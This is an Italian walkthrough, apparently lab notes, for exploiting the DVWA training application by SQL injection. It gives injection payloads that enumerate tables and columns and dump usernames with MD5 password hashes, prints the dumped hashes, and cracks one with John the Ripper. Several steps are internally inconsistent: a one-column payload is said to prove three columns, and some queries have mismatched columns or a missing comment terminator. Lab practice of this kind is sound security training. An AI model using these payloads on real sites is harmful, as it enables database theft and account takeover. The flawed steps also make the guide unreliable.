

Guida al Recupero Password su DVWA - Solo Browser

Prerequisiti

- Browser web (Firefox/Chrome)
 - Accesso a DVWA: <http://192.168.13.150/dvwa/>
 - Credenziali: [admin](#) / [password](#)
-

FASE 1: Configurazione Iniziale

1.1 Accesso a DVWA

1. Apri il browser e vai su: <http://192.168.13.150/dvwa/login.php>
2. Inserisci:
 - Username: [admin](#)
 - Password: [password](#)
3. Clicca [Login](#)

1.2 Imposta Livello LOW

1. Nel menu a sinistra, clicca su [DVWA Security](#)
 2. Seleziona [Low](#) dal dropdown
 3. Clicca [Submit](#)
-

FASE 2: SQL Injection - Livello LOW

2.1 Test della Vulnerabilità

1. Vai su [SQL Injection](#) nel menu a sinistra
2. Inserisci nel campo ID: `' OR '1'='1'`
3. Clicca [Submit](#)

Risultato atteso: Vedrai tutti gli utenti del database (admin, pablo, ecc.)

Questo conferma che il sito è vulnerabile!

2.2 Trovare il Numero di Colonne

Usiamo **UNION SELECT** per capire quante colonne ha la tabella.

Inserisci nel campo ID:

```
sql
' UNION SELECT NULL -- -
```

Con 3 colonne funziona! La tabella ha 3 colonne.

2.3 Trovare le Tabelle

Per vedere tutte le tabelle nel database:

```
sql
1' UNION SELECT table_name,NULL FROM information_schema.tables WHERE
table_schema='mysql'-- -
```

Tabella importante: **users** (contiene gli utenti)

2.4 Trovare le Colonne della Tabella Users

```
sql
' UNION SELECT COLUMN_NAME, NULL, NULL FROM information_schema.columns
WHERE TABLE_NAME='users' --
```

Colonne trovate:

- **user_id**
- **first_name**
- **last_name**
- **user** (username)
- **password** (hash MD5)
- **avatar**

2.5 Estrarre Username e Password

```
sql
' OR '1'='1' UNION SELECT user, password FROM users
```

Risultato nel browser:

User	Password Hash
admin	5f4dcc3b5aa765d61d8327deb882cf99
pablo	0d107d09f5bbe40cade3de5c71e9e9b7

1337 8d3533d75ae2c3966d7e0d4fcc69216b

L'hash di Pablo è: 0d107d09f5bbe40cade3de5c71e9e9b7

FASE 3: Crackare l'Hash di Pablo

3.1 Metodo 1: John the Ripper (Kali Linux)

Sul terminale di Kali:

```
bash
# Crea il file con l'hash
echo "0d107d09f5bbe40cade3de5c71e9e9b7" > hash.txt

# Cracka con John
john --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-md5 hash.txt
```

Output:

```
text
Letmein (?)
1g 0:00:00:00 DONE
```

FASE 4: trovare gli user password in modalita medium

4.1 Imposta Livello LOW

1. Nel menu a sinistra, clicca su DVWA Security
2. Seleziona medium dal dropdown
3. Clicca Submit

4.2 SQL injection

```
Sql
1 UNION SELECT user, password FROM users#
```

Risultato:

```
ID: 1 UNION SELECT user, password FROM users#
First name: admin
Surname: admin
```

ID: 1 UNION SELECT user, password FROM users#
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: 1 UNION SELECT user, password FROM users#
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03

ID: 1 UNION SELECT user, password FROM users#
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: 1 UNION SELECT user, password FROM users#
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: 1 UNION SELECT user, password FROM users#
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99